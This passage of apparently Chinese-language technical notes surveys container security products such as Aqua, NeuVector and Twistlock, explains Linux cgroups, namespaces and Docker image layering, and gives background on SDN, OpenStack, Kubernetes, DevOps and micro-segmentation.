以下是七個(gè)最近改進(jìn)的容器安全產(chǎn)品和服務(wù)，它們?cè)谠坪湍阕约旱臄?shù)據(jù)中心中為容器提供漏洞檢測(cè)，合規(guī)性檢查，白名單，防火墻和運(yùn)行時(shí)保護(hù)等功能。
- Aporeto
Aporeto專注于運(yùn)行時(shí)保護(hù)，類似于下面討論的NeuVector產(chǎn)品。該公司提供微服務(wù)安全產(chǎn)品以保護(hù)Kubernetes工作負(fù)載和云網(wǎng)絡(luò)防火墻系統(tǒng)，以保護(hù)在分布式環(huán)境中運(yùn)行的應(yīng)用程序。
通過Kubernetes工作負(fù)載，Aporeto可以保護(hù)本地和托管環(huán)境(例如，Google Kubernetes Engine)。為每個(gè)創(chuàng)建的資源分配一個(gè)服務(wù)標(biāo)識(shí)，用于確保應(yīng)用程序周圍的信任鏈不被破壞。除其他外，服務(wù)標(biāo)識(shí)用于強(qiáng)制聲明的應(yīng)用程序行為，無論應(yīng)用程序的pod實(shí)際存在于何處。
- Aqua容器安全平臺(tái)
Aqua容器安全平臺(tái)為L(zhǎng)inux容器和Windows容器提供合規(guī)性和運(yùn)行時(shí)安全性。
端到端容器安全管理器允許管理員將安全策略和風(fēng)險(xiǎn)配置文件應(yīng)用于應(yīng)用程序，并將這些配置文件與不同的應(yīng)用程序構(gòu)建管道相關(guān)聯(lián)， 鏡像掃描可以與構(gòu)建和CI/CD工具集成。
Aqua容器安全平臺(tái)還允許管理員使用應(yīng)用程序上下文在運(yùn)行時(shí)為應(yīng)用程序分割網(wǎng)絡(luò)。Aqua平臺(tái)與Hashicorp Vault等秘密管理工具配合使用，它支持Grafeas API，用于訪問軟件組件中的元數(shù)據(jù)。Aqua平臺(tái)可以記錄它在應(yīng)用程序的Grafeas商店中發(fā)現(xiàn)的任何漏洞信息，Aqua策略可以利用Grafeas定義數(shù)據(jù)來處理安全事件和軟件問題。
Aqua Container Security Platform可用于本地或云端部署。免費(fèi)試用版或開源版本不可用，但Aqua已經(jīng)發(fā)布了許多源自該平臺(tái)的開源工具。
- Atomic Secured Docker
Atomic Secured Docker是Ubuntu，CentOS和Red Hat Enterprise Linux的替代Linux內(nèi)核，它利用一些強(qiáng)化策略來抵消潛在的攻擊。許多保護(hù)措施，如用戶內(nèi)存的強(qiáng)化權(quán)限，都來自Atomicorp的安全內(nèi)核產(chǎn)品系列。其他產(chǎn)品，如容器突破保護(hù)，專為Docker設(shè)計(jì)。
可通過直接購(gòu)買獲得Atomic Secured Docker，AWS和Azure市場(chǎng)中提供了AWS托管的CentOS和Azure托管的CentOS和Ubuntu的版本。
- NeuVector
NeuVector旨在保護(hù)整個(gè)Kubernetes集群。它適用于現(xiàn)有的Kubernetes管理解決方案，如Red Hat OpenShift和Docker Enterprise Edition，旨在保護(hù)部署的所有階段的應(yīng)用程序，從開發(fā)(通過Jenkins插件)到生產(chǎn)。
與此處的許多其他解決方案一樣，NeuVector作為容器部署到現(xiàn)有的Kubernetes集群中，而不是通過修改現(xiàn)有代碼。將NeuVector添加到群集時(shí)，它會(huì)發(fā)現(xiàn)所有托管容器并生成詳細(xì)說明連接和行為的映射。檢測(cè)并考慮由應(yīng)用程序升級(jí)或降低引起的任何更改，以便對(duì)威脅(包括容器突破或新漏洞)的實(shí)時(shí)掃描仍然有效。
- Sysdig Secure
Sysdig Secure提供了一組工具，用于監(jiān)視容器運(yùn)行時(shí)環(huán)境并從中獲取取證。Sysdig Secure旨在與Sysdig的其他儀器工具(如Sysdig Monitor)一起運(yùn)行。
可以針對(duì)每個(gè)應(yīng)用程序，每個(gè)容器，每個(gè)主機(jī)或每個(gè)網(wǎng)絡(luò)活動(dòng)設(shè)置和實(shí)施環(huán)境策略。 Sysdig Secure跟蹤的任何事件都可以通過主持人或容器或通過協(xié)調(diào)器(通常是Kubernetes)的鏡頭來查看。可以記錄和檢查每個(gè)容器的命令歷史記錄，并且可以以類似于Twistlock的“事件探索器”功能的方式記錄和回放整個(gè)群集中的常規(guī)取證。
- Tenable.io Container Security
Tenable.io Container Security專注于為DevOps團(tuán)隊(duì)提供在構(gòu)建過程中對(duì)容器安全性的可見性，而不是在生產(chǎn)過程中。
在構(gòu)建時(shí)掃描容器鏡像以查找惡意軟件，漏洞和策略合規(guī)性。如果鏡像或鏡像中的任何元素拋出紅色標(biāo)記，開發(fā)人員會(huì)收到問題的性質(zhì)及其確切位置的通知，例如，多層鏡像的特定層，因此可以修復(fù)快速下一次推動(dòng)。
Tenable.io Container Security適用于大多數(shù)常見的CI/CD構(gòu)建系統(tǒng)和容器鏡像注冊(cè)表，并提供所有正在運(yùn)行的容器鏡像，策略實(shí)施狀態(tài)和存儲(chǔ)庫(kù)行為的當(dāng)前狀態(tài)的儀表板視圖。
- Twistlock
Twistlock為Docker Enterprise等“核心”容器產(chǎn)品未涵蓋的容器添加了許多安全控制。其中一些功能包括：
合規(guī)性控制，用于對(duì)容器實(shí)施HIPAA和PCI規(guī)則。
對(duì)Jenkins等構(gòu)建工具的合規(guī)性警報(bào)。
針對(duì)云原生應(yīng)用程序進(jìn)行防火墻。
基于有效和無效容器行為分析的容器運(yùn)行時(shí)攻擊保護(hù)。
支持Kubernetes的CIS基準(zhǔn)測(cè)試，以便可以根據(jù)保護(hù)Kubernetes的一系列通用標(biāo)準(zhǔn)檢查Kubernetes管理的部署。
2018年8月發(fā)布的Twistlock 2.5增加了新的取證分析技術(shù)，可以減少運(yùn)行時(shí)開銷(例如，將事件前和事件后容器狀態(tài)信息存儲(chǔ)在容器本身之外);用于映射命名空間，pod和容器的實(shí)時(shí)可視化工具的增強(qiáng)功能;無服務(wù)器計(jì)算系統(tǒng)的防御和防御。
5. 內(nèi)核相關(guān)技術(shù)
近幾年容器（Container）、Kubernetes等技術(shù)在數(shù)據(jù)中心、云計(jì)算、各互聯(lián)網(wǎng)公司的業(yè)務(wù)服務(wù)中得到廣泛應(yīng)用，和20世紀(jì)60年代就興起的虛擬機(jī)（Virtual Machine，VM）技術(shù)一樣，容器也是一種服務(wù)虛擬化技術(shù)（Server Virtualization），但是它更加輕量，同時(shí)將焦點(diǎn)從Machine轉(zhuǎn)移到Application，極大提高了開發(fā)、測(cè)試、生產(chǎn)環(huán)境部署的效率，不過其安全性和隔離性比虛擬機(jī)稍遜一籌，在一些場(chǎng)景下也無法完全替代虛擬機(jī)。
內(nèi)核對(duì)容器的支持：
- chroot：chroot機(jī)制允許更改進(jìn)程及其所有子進(jìn)程的根目錄，用于限制對(duì)單個(gè)文件夾的文件系統(tǒng)訪問，目標(biāo)進(jìn)程及其子進(jìn)程將該文件夾視為根文件夾（/）（不提供進(jìn)程隔離）。
- namespace（by IBM）：內(nèi)核命名空間是進(jìn)程隔離的基礎(chǔ)，是實(shí)現(xiàn)基于容器的虛擬化的關(guān)鍵概念之一，它能夠隔離進(jìn)程、進(jìn)程組甚至完整的子系統(tǒng)（如進(jìn)程間通信或者內(nèi)核的網(wǎng)絡(luò)子系統(tǒng)）。每個(gè)命名空間中的進(jìn)程ID分配是獨(dú)立的，不同命名空間中的進(jìn)程可能具有相同的進(jìn)程ID。
- Control group（by Google ）：cgroup是一種跟蹤進(jìn)程和進(jìn)程組（包括創(chuàng)建的子進(jìn)程）的機(jī)制，它提供的鉤子允許其他子系統(tǒng)擴(kuò)展這些功能，并實(shí)現(xiàn)細(xì)粒度的資源控制和限制。將資源分配給進(jìn)程、進(jìn)程組并管理這些分配的能力允許規(guī)劃和控制容器的使用。同樣，若有進(jìn)程已聲明了對(duì)某些資源的占用，其他進(jìn)程則無法使用。
- Mandatory Access Control ：MAC策略通常用于限制對(duì)敏感資源的訪問（而這些訪問在一定上下文下是不需要的），以減輕從容器內(nèi)部對(duì)主機(jī)和其他容器的攻擊，從而提高容器虛擬化技術(shù)的安全性。
5.1 cgroup
cgroup就是組的意思，可以對(duì)某一組進(jìn)程進(jìn)程資源配額的配置。其最核心的就是多對(duì)多關(guān)系的組織：
1、subsys是一組基類(cpu、blkio)，css是基類的實(shí)例化。
2、cgroup的一組css的集合。
3、hierarchy是多個(gè)cgoup的組合，它決定cgroup中能創(chuàng)建哪些subsys的css。hierarchy可以任意引用幾種subsys，但是一個(gè)subsys只能被一個(gè)hierarchy引用。如果一個(gè)hierarchy已經(jīng)引用某個(gè)subsys，那么其他hierarchy就不能再引用這個(gè)subsys了。hierarchy對(duì)應(yīng)cgroupfs_root數(shù)據(jù)結(jié)構(gòu)。
4、一旦hierarchy確定了subsys，那么它下面的cgroup只能創(chuàng)建對(duì)應(yīng)的css實(shí)例。一個(gè)subsys只能存在于某個(gè)hierarchy中，hierarchy下的多個(gè)cgroup可以創(chuàng)建這個(gè)subsys對(duì)應(yīng)的多個(gè)css。
5、hierarchy、cgroup、css三者還使用文件系統(tǒng)來表示層次關(guān)系：hierarchy是文件系統(tǒng)掛載點(diǎn)，cgroup是文件夾，css是文件夾中的文件。css的值，已經(jīng)兄弟和父子關(guān)系，表示了subsys資源配額的關(guān)系。
6、cgoup是為了劃分資源配額，配置的主體是進(jìn)程task。每個(gè)task在每一類別的subsys上都有配額，所以每個(gè)task在每個(gè)類別的subsys上有一個(gè)唯一的css與之關(guān)聯(lián)。
7、進(jìn)程和css是一對(duì)多(1 x N)的關(guān)系。而系統(tǒng)中的多個(gè)進(jìn)程和多個(gè)css，是多對(duì)多(M x N)的關(guān)。為了收斂這種多對(duì)多的關(guān)系，系統(tǒng)把所有css屬性都相同的一組進(jìn)程放在一個(gè)css_set當(dāng)中，把多個(gè)css放在一個(gè)cgroup當(dāng)中，這樣還是多對(duì)多但是已經(jīng)收斂(M/a x N/b)。css_set根據(jù)屬性組合，存入css_set_table當(dāng)中。
8、css_set代表a個(gè)css屬性相同的進(jìn)程，cgroup代表引用的b個(gè)subsys。多對(duì)多的關(guān)系從task vs css的(M x N)，收斂到css_set vs cgroup的(M/a x N/b)。為了進(jìn)一步簡(jiǎn)化css_set和cgroup之間多對(duì)多關(guān)系的雙向查找，引入了cg_group_link數(shù)據(jù)結(jié)構(gòu)：
task_struct通過->cgroup成員找到css_set結(jié)構(gòu)，css_set利用->tasks鏈表把所有css屬性相同的進(jìn)程鏈接到一起。
css_set → cgroup：css_set的->cgrp_links鏈表上掛載了這組css相關(guān)cgroup對(duì)應(yīng)的cg_cgroup_link，通過cg_cgroup_link->cgrp找到cgroup，再通過cgroup->subsys[]找到css。
cgroup → css_set：cgroup的->cset_links鏈表上掛載了所有指向本cgoup的task對(duì)應(yīng)的cg_cgroup_link，通過cg_cgroup_link->cset找到css_set，再通過css_set->tasks找到所有的task_struct。
9、還有一條task_struct → cgroup 的通路：
路徑：task_struct->cgroup → css_set->subsys[] → cgroup_subsys_state->cgroup → cgroup
5.2 namespace
Namespace是對(duì)全局系統(tǒng)資源的一種封裝隔離，使得處于不同namespace的進(jìn)程擁有獨(dú)立的全局系統(tǒng)資源，改變一個(gè)namespace中的系統(tǒng)資源只會(huì)影響當(dāng)前namespace里的進(jìn)程，對(duì)其他namespace中的進(jìn)程沒有影響。
Linux內(nèi)核支持的namespaces如下：
| Cgroup | CLONE_NEWCGROUP | Cgroup root directory (since Linux 4.6) |
| IPC | CLONE_NEWIPC | System V IPC, POSIX message queues (since Linux 2.6.19) |
| Network | CLONE_NEWNET | Network devices, stacks, ports, etc. (since Linux 2.6.24) |
| Mount | CLONE_NEWNS | Mount points (since Linux 2.4.19) |
| PID | CLONE_NEWPID | Process IDs (since Linux 2.6.24) |
| User | CLONE_NEWUSER | User and group IDs (started in Linux 2.6.23 and completed in Linux 3.8) |
| UTS | CLONE_NEWUTS | Hostname and NIS domain name (since Linux 2.6.19) |
Ps：其中，cgroup namespace在4.6的內(nèi)核中才實(shí)現(xiàn)，并且和cgroup v2關(guān)系密切，現(xiàn)在普及程度還不高，比如docker現(xiàn)在就還沒有用它，所以在namespace系列文章中暫時(shí)不會(huì)介紹cgroup namespace。
系統(tǒng)中的每個(gè)進(jìn)程都有/proc/[pid]/ns/這樣一個(gè)目錄，里面包含了這個(gè)進(jìn)程所屬namespace的信息，里面每個(gè)文件的描述符都可以用來作為setns函數(shù)（后文會(huì)介紹）的參數(shù)。
查看當(dāng)前bash進(jìn)程所屬的namespace信息：
myc@myc-virtual-machine:~/data/scara$ ll /proc/3366/ns/ 總用量 0 dr-x--x--x 2 myc myc 0 12月 3 14:35 ./ dr-xr-xr-x 9 myc myc 0 11月 25 11:16 ../ lrwxrwxrwx 1 myc myc 0 12月 3 16:21 cgroup -> cgroup:[4026531835] lrwxrwxrwx 1 myc myc 0 12月 3 16:21 ipc -> ipc:[4026531839] lrwxrwxrwx 1 myc myc 0 12月 3 16:21 mnt -> mnt:[4026531840] lrwxrwxrwx 1 myc myc 0 12月 3 16:21 net -> net:[4026531957] lrwxrwxrwx 1 myc myc 0 12月 3 16:21 pid -> pid:[4026531836] lrwxrwxrwx 1 myc myc 0 12月 3 16:21 user -> user:[4026531837] lrwxrwxrwx 1 myc myc 0 12月 3 16:21 uts -> uts:[4026531838]和namespace相關(guān)的函數(shù)只有三個(gè)，如下所示：
一、clone: 創(chuàng)建一個(gè)新的進(jìn)程并把他放到新的namespace中。
int clone(int (*child_func)(void *), void *child_stack, int flags, void *arg);其中：flags用于指定一個(gè)或者多個(gè)上面的CLONE_NEW*宏定義（當(dāng)然也可以包含跟namespace無關(guān)的flags，多個(gè)flags 用|進(jìn)行分隔），這樣就會(huì)創(chuàng)建一個(gè)或多個(gè)新的不同類型的namespace，并把新創(chuàng)建的子進(jìn)程加入新創(chuàng)建的這些namespace中。
二、setns: 將當(dāng)前進(jìn)程加入到已有的namespace中。
int setns(int fd, int nstype);其中：
- fd：指向/proc/[pid]/ns/目錄里相應(yīng)namespace對(duì)應(yīng)的文件，表示要加入哪個(gè)namespace
- nstype：指定namespace的類型（上面的任意一個(gè)CLONE_NEW*），具體分為兩種情況：1. 如果當(dāng)前進(jìn)程不能根據(jù)fd得到它的類型，如fd由其他進(jìn)程創(chuàng)建，并通過UNIX domain socket傳給當(dāng)前進(jìn)程，那么就需要通過nstype來指定fd指向的namespace的類型。2. 如果進(jìn)程能根據(jù)fd得到namespace類型，比如這個(gè)fd是由當(dāng)前進(jìn)程打開的，那么nstype設(shè)置為0即可。
三、unshare: 使當(dāng)前進(jìn)程退出指定類型的namespace，并加入到新創(chuàng)建的namespace（相當(dāng)于創(chuàng)建并加入新的namespace）。
int unshare(int flags);其中：flags用于指定一個(gè)或者多個(gè)上面的CLONE_NEW*宏定義（當(dāng)然也可以包含跟namespace無關(guān)的flags，多個(gè)flags 用|進(jìn)行分隔），這樣就會(huì)創(chuàng)建一個(gè)或多個(gè)新的不同類型的namespace，并把新創(chuàng)建的子進(jìn)程加入新創(chuàng)建的這些namespace中。
clone和unshare的區(qū)別
clone和unshare的功能都是創(chuàng)建并加入新的namespace， 他們的區(qū)別是：
- unshare是使當(dāng)前進(jìn)程加入新的namespace。
- clone是創(chuàng)建一個(gè)新的子進(jìn)程，然后讓子進(jìn)程加入新的namespace，而當(dāng)前進(jìn)程保持不變。
5.3 鏡像(Image) & 容器(Container)
鏡像：一個(gè)特殊的文件系統(tǒng)
操作系統(tǒng)分為內(nèi)核和用戶空間。對(duì)于 Linux 而言，內(nèi)核啟動(dòng)后，會(huì)掛載 root 文件系統(tǒng)為其提供用戶空間支持。而 Docker 鏡像（Image），就相當(dāng)于是一個(gè) root 文件系統(tǒng)。
Docker 鏡像是一個(gè)特殊的文件系統(tǒng)，除了提供容器運(yùn)行時(shí)所需的程序、庫(kù)、資源、配置等文件外，還包含了一些為運(yùn)行時(shí)準(zhǔn)備的一些配置參數(shù)（如匿名卷、環(huán)境變量、用戶等）。
鏡像不包含任何動(dòng)態(tài)數(shù)據(jù)，其內(nèi)容在構(gòu)建之后也不會(huì)被改變。
Docker 設(shè)計(jì)時(shí)，就充分利用 Union FS 的技術(shù)，將其設(shè)計(jì)為分層存儲(chǔ)的架構(gòu)。 鏡像實(shí)際是由多層文件系統(tǒng)聯(lián)合組成。
鏡像構(gòu)建時(shí)，會(huì)一層層構(gòu)建，前一層是后一層的基礎(chǔ)。每一層構(gòu)建完就不會(huì)再發(fā)生改變，后一層上的任何改變只發(fā)生在自己這一層。
比如，刪除前一層文件的操作，實(shí)際不是真的刪除前一層的文件，而是僅在當(dāng)前層標(biāo)記為該文件已刪除。
在最終容器運(yùn)行的時(shí)候，雖然不會(huì)看到這個(gè)文件，但是實(shí)際上該文件會(huì)一直跟隨鏡像。
因此，在構(gòu)建鏡像的時(shí)候，需要額外小心，每一層盡量只包含該層需要添加的東西，任何額外的東西應(yīng)該在該層構(gòu)建結(jié)束前清理掉。
分層存儲(chǔ)的特征還使得鏡像的復(fù)用、定制變的更為容易。甚至可以用之前構(gòu)建好的鏡像作為基礎(chǔ)層，然后進(jìn)一步添加新的層，以定制自己所需的內(nèi)容，構(gòu)建新的鏡像。
容器和鏡像的區(qū)別就在于，所有的鏡像都是只讀的，而每一個(gè)容器其實(shí)等于鏡像加上一個(gè)可讀寫的層，也就是同一個(gè)鏡像可以對(duì)應(yīng)多個(gè)容器。
鏡像（Image）和容器（Container）的關(guān)系，就像是面向?qū)ο蟪绦蛟O(shè)計(jì)中的類和實(shí)例一樣，鏡像是靜態(tài)的定義，容器是鏡像運(yùn)行時(shí)的實(shí)體。容器可以被創(chuàng)建、啟動(dòng)、停止、刪除、暫停等 。
容器的實(shí)質(zhì)是進(jìn)程，但與直接在宿主執(zhí)行的進(jìn)程不同，容器進(jìn)程運(yùn)行于屬于自己的獨(dú)立的命名空間。前面講過鏡像使用的是分層存儲(chǔ)，容器也是如此。
容器存儲(chǔ)層的生存周期和容器一樣，容器消亡時(shí)，容器存儲(chǔ)層也隨之消亡。因此，任何保存于容器存儲(chǔ)層的信息都會(huì)隨容器刪除而丟失。
按照 Docker 最佳實(shí)踐的要求，容器不應(yīng)該向其存儲(chǔ)層內(nèi)寫入任何數(shù)據(jù) ，容器存儲(chǔ)層要保持無狀態(tài)化。
所有的文件寫入操作，都應(yīng)該使用數(shù)據(jù)卷（Volume）、或者綁定宿主目錄，在這些位置的讀寫會(huì)跳過容器存儲(chǔ)層，直接對(duì)宿主（或網(wǎng)絡(luò)存儲(chǔ)）發(fā)生讀寫，其性能和穩(wěn)定性更高。
數(shù)據(jù)卷的生存周期獨(dú)立于容器，容器消亡，數(shù)據(jù)卷不會(huì)消亡。因此， 使用數(shù)據(jù)卷后，容器可以隨意刪除、重新 run，數(shù)據(jù)卻不會(huì)丟失。
6. 背景知識(shí)
6.1 sdn & openflow
SDN（Software Defined Network）即軟件定義網(wǎng)絡(luò)，是一種網(wǎng)絡(luò)設(shè)計(jì)理念，或者一種推倒重來的設(shè)計(jì)思想。只要網(wǎng)絡(luò)硬件可以集中式軟件管理，可編程化，控制轉(zhuǎn)發(fā)層面分開，則可以認(rèn)為這個(gè)網(wǎng)絡(luò)是一個(gè)SDN網(wǎng)絡(luò)。所以說，SDN并不是一個(gè)具體的技術(shù)，不是一個(gè)具體的協(xié)議，而是一個(gè)思想、一個(gè)框架。狹義的SDN是指的“軟件定義網(wǎng)絡(luò)”，廣義的SDN的概念還延伸出了：軟件定義安全、軟件定義存儲(chǔ)等等。可以說，SDN是一個(gè)浪潮，席卷整個(gè)IT產(chǎn)業(yè)。
「大物移云」的時(shí)代已經(jīng)到來，傳統(tǒng)的底層網(wǎng)絡(luò)架構(gòu)已經(jīng)無法滿足人類的需求，設(shè)備繁雜配置麻煩迭代緩慢，各種問題層出不窮。下一代網(wǎng)絡(luò)，需要可編程按需定制、集中式統(tǒng)一管理、動(dòng)態(tài)流量監(jiān)管、自動(dòng)化部署等，這就是SDN的出發(fā)點(diǎn)。
SDN（軟件定義網(wǎng)絡(luò)）是一個(gè)概念，結(jié)合NFV（Network Functions Virtualization 網(wǎng)絡(luò)功能虛擬化），實(shí)現(xiàn)了所有網(wǎng)絡(luò)架構(gòu)的大一統(tǒng)，是互聯(lián)網(wǎng)的顛覆性架構(gòu)。
SDN的核心思想：把網(wǎng)絡(luò)上所有的信息都集中到一個(gè)核心控制器（Controller）上處理，控制器可以針對(duì)信息編程，直接處理整體網(wǎng)絡(luò)的邏輯。此時(shí)控制器全知全能，它知道任何事，可以實(shí)現(xiàn)任何協(xié)議，對(duì)于網(wǎng)絡(luò)來說，控制器就是上帝。SDN的核心優(yōu)勢(shì)：邏輯簡(jiǎn)單。擴(kuò)展性無與倫比，寫新協(xié)議非常快，可以閃電般的完成下一代的網(wǎng)絡(luò)進(jìn)化。麻麻說我再也不用考慮STP、OSPF、TRILL、BGP這些亂七八糟的協(xié)議了……
SDN更多優(yōu)勢(shì)：你可以切分網(wǎng)絡(luò)平面來做數(shù)據(jù)隔離；你可以引入CDN思想來提高性能；你可以針對(duì)Controller數(shù)據(jù)編寫DPI的app；你可以在上面玩機(jī)器學(xué)習(xí)；這都是傳統(tǒng)網(wǎng)絡(luò)比不了的。OpenFlow是一個(gè)標(biāo)準(zhǔn)，也即SDN的具體實(shí)踐，做法很簡(jiǎn)單，將所有的報(bào)文抽出關(guān)鍵字段，抽象為流（flow），而所有流都交給Controller控制。
6.2 openstack
OpenStack從一開始，就是為了云計(jì)算服務(wù)的。簡(jiǎn)單來說，它就是一個(gè)操作系統(tǒng)，一套軟件，一套IaaS軟件。
管理“基礎(chǔ)設(shè)施資源”，便于用戶調(diào)用和使用，是OpenStack的首要任務(wù)。
基礎(chǔ)設(shè)施資源，主要包括三個(gè)方面：計(jì)算、存儲(chǔ)、網(wǎng)絡(luò)。說通俗點(diǎn)，就是CPU，硬盤，網(wǎng)卡。
華為的FusionSphere平臺(tái)和中興的TECS平臺(tái)，都是基于OpenStack進(jìn)行二次開發(fā)的商業(yè)系統(tǒng)。這些平臺(tái)都已經(jīng)被自家的核心網(wǎng)和云計(jì)算產(chǎn)品采用，目前處于替代傳統(tǒng)平臺(tái)的階段。
這里要特別強(qiáng)調(diào)一下，雖然OpenStack是云計(jì)算技術(shù)，主要是IT的概念，但對(duì)于通信行業(yè)來說極為重要。
通信網(wǎng)絡(luò)中的核心網(wǎng)，已經(jīng)全面開始了向虛擬化和云計(jì)算的演進(jìn)。小棗君之前就介紹過，現(xiàn)在通信行業(yè)里火熱的NFV技術(shù)，就是基于虛擬化的，采用了IT里面的很多理念和設(shè)計(jì)。
6.3 Kubernetes
Kubernetes 能在實(shí)體機(jī)或虛擬機(jī)集群上調(diào)度和運(yùn)行程序容器。
Kubernetes 這個(gè)單詞來自于希臘語，含義是 舵手 或 領(lǐng)航員 。其詞根是 governor 和 cybernetic。 K8s 是它的縮寫，用 8 字替代了“ubernete”。
使用 Kubernetes，你可以快速、高效地滿足用戶以下的需求：
快速精準(zhǔn)地部署應(yīng)用程序
即時(shí)伸縮你的應(yīng)用程序
無縫展現(xiàn)新特征
限制硬件用量?jī)H為所需資源
6.4 DevOps
DevOps 一詞的來自于 Development 和 Operations 的組合，突出重視軟件開發(fā)人員和運(yùn)維人員的溝通合作，通過自動(dòng)化流程來使得軟件構(gòu)建、測(cè)試、發(fā)布更加快捷、頻繁和可靠。
DevOps 其實(shí)包含了三個(gè)部分：開發(fā)、測(cè)試和運(yùn)維。換句話 DevOps 希望做到的是軟件產(chǎn)品交付過程中IT工具鏈的打通，使得各個(gè)團(tuán)隊(duì)減少時(shí)間損耗，更加高效地協(xié)同工作。
DevOps平臺(tái)的搭建可通過如下工具進(jìn)行實(shí)現(xiàn)：
平臺(tái)項(xiàng)目管理（PM）：Jira 代碼管理：GitLab 持續(xù)集成（CI）：GitLab CI 鏡像倉(cāng)庫(kù)：VMware Harbor 容器：Docker 容器平臺(tái)： Rancher 鏡像掃描：Clairctl 編排：Kubernetes 服務(wù)注冊(cè)與發(fā)現(xiàn)：etcd 腳本語言：python 日志管理：EFK 系統(tǒng)監(jiān)控：prometheusWeb 服務(wù)器：Nginx 數(shù)據(jù)庫(kù)：MySQL redis6.5 Kubernetes和OpenStack到底是什么關(guān)系？
kubernetes是管理container的工具，openstack是管理VM的工具。
container可以運(yùn)行在物理機(jī)上，也可以運(yùn)行在VM上。所以kubernetes不是需要openstack的支持。但對(duì)于云計(jì)算來說，很多IasS都通過openstack來管理虛擬機(jī)。然后用戶可以在這些虛擬機(jī)上運(yùn)行docker，可以通過kubernetes進(jìn)行管理。
Kubernetes 面向應(yīng)用層，變革的是業(yè)務(wù)架構(gòu)，而 OpenStack 面向資源層，改變的是資源供給模式。
- 使用容器且集群規(guī)模不大，直接用 Kubenetes 就可以；
- 集群規(guī)模大，不管應(yīng)用是否只是跑在容器中，都是 OpenStack + Kubernetes 更好。
OpenStack + Kubernetes 是各取所長(zhǎng)，并不只是因?yàn)閼T性，而是對(duì)于多租戶需求來說，Container（容器）的隔離性還需要加強(qiáng)，需要加一層 VM（虛擬機(jī)） 來彌補(bǔ)，而 OpenStack 是很好的方案。不過，VM + Container 的模式，必然有性能的損耗，所以 OpenStack 基金會(huì)也推出一個(gè)項(xiàng)目叫 Kata Containers，希望減少虛擬化的開銷，兼顧容器的性能和隔離性。
永恒的只有變化，未來的業(yè)務(wù)都會(huì)運(yùn)行在云上，容器是走向 DevOps、Cloud Native（云原生）的標(biāo)準(zhǔn)工具，已經(jīng)開始走向平凡，而 Kubernetes 的編排能力，讓容器能夠落地到業(yè)務(wù)應(yīng)用中，所以我們看到 Docker、Mesos、OpenStack 以及很多公有云、私有云服務(wù)商，都在支持 Kubernetes，大家都加入了 CNCF（云原生計(jì)算基金會(huì)）。總結(jié)起來，OpenStack 是兼容傳統(tǒng)的架構(gòu)，而 Kubernetes 是面向未來的架構(gòu)。
最后，計(jì)算開源云這幾年發(fā)展很快，從這個(gè)問題提出到現(xiàn)在，社區(qū)又有了很多變化。所以要修正一個(gè)觀點(diǎn)：Kubernetes 支持的容器運(yùn)行時(shí)不僅僅是 Docker，也包括 Rkt，當(dāng)然 Docker 更加流行。
不過kubernetes雖然是開源的，但它畢竟是為GCE服務(wù)的，Google其實(shí)并沒有多少動(dòng)力去支持其他平臺(tái)的。
虛擬化技術(shù)在GCP(Google Cloud Platform)的應(yīng)用：
Google Compute Engine（GCE，Google計(jì)算引擎）是Google云平臺(tái)的基礎(chǔ)設(shè)施即服務(wù)（IaaS）組件，它建立在運(yùn)行Google搜索引擎、Gmail、YouTube和其他服務(wù)的全球基礎(chǔ)設(shè)施之上。GCE允許用戶按需啟動(dòng)虛擬機(jī)（VMs），VMs可以從用戶創(chuàng)建的標(biāo)準(zhǔn)圖鏡像或自定義鏡像啟動(dòng)。
-
GCE采用KVM作為其虛擬機(jī)的VMM/Hypervisor，KVM（Kernel-based Virtual Machine）是一個(gè)完全虛擬化方案，同時(shí)包含了CPU硬件提供的虛擬化技術(shù)擴(kuò)展（IntelVT或AMD-V），適用于x86硬件上的Linux。可加載的內(nèi)核模塊（kvm.ko，intel的是kvm-intel.ko,amd的是kvm-amd.ko）提供核心虛擬化基礎(chǔ)架構(gòu)。使用KVM，可以運(yùn)行多個(gè)含有未經(jīng)修改的Linux或Windows Guest OS的虛擬機(jī)，每個(gè)虛擬機(jī)都有專用的虛擬硬件：網(wǎng)卡、磁盤、圖形適配器等。
-
通過K8s容器編排系統(tǒng)在VMs之上部署多個(gè)容器，一方面可以快速啟動(dòng)程序（容器比虛擬機(jī)啟動(dòng)時(shí)間要小很多），二是可以有效降低虛擬機(jī)的額外負(fù)載（容器可以部署多個(gè)，虛擬機(jī)則只能部署少量的），三是可以實(shí)現(xiàn)容器的自動(dòng)升級(jí)、節(jié)點(diǎn)修復(fù)、自動(dòng)擴(kuò)縮容等特性。
6.6 Micro-segmentation
微分段(Micro-segmentation)是隨著MFV網(wǎng)絡(luò)虛擬化提出的一種安全技術(shù)，通過應(yīng)用該技術(shù)，能夠提供在工作負(fù)載級(jí)別(workload level)上使能精細(xì)安全策略控制來保障用戶業(yè)務(wù)安全。使用微分段技術(shù)的一個(gè)顯著好處就是能夠?qū)踩芰傻教摂M化工作負(fù)載中，無須硬件設(shè)備(硬件防火墻）介入，也意味著將安全策略集成到虛擬網(wǎng)絡(luò)(virtual network)、虛擬主機(jī)(VM)、操作系統(tǒng)以及其他虛擬安全實(shí)例中來提供安全。
簡(jiǎn)單來看，就是利用switch將多個(gè)節(jié)點(diǎn)從一個(gè)沖突域中隔離開來，組成多個(gè)由一個(gè)node和switch組成的沖突域，從而保證每個(gè)node獨(dú)享帶寬。只從定義上來看，和安全基本上沒有多大關(guān)系。
圖左邊，傳統(tǒng)的數(shù)據(jù)中心流量防護(hù)問題不大但針對(duì)NFV虛擬化網(wǎng)絡(luò)中的東西向流量安全防護(hù)，就會(huì)面臨比較大的問題：
同一個(gè)VLAN中承載不同的業(yè)務(wù)負(fù)載，在內(nèi)部安全設(shè)備無法識(shí)別出不同的workload
如果想要保護(hù)Finance的業(yè)務(wù)，需要在多個(gè)VLAN中設(shè)置安全策略(DB VLAN,APP VLAN,DMZ/WEB VLAN)
負(fù)載間不具備隔離性，如果HR的數(shù)據(jù)庫(kù)服務(wù)被感染，同一個(gè)VLAN中Finance DB 也會(huì)被感染，從而擴(kuò)展到整個(gè)網(wǎng)絡(luò)
不具備持久性和可擴(kuò)展性，當(dāng)某個(gè)workload中增加一個(gè)VLAN時(shí)，還需要在該VLAN中添加安全策略
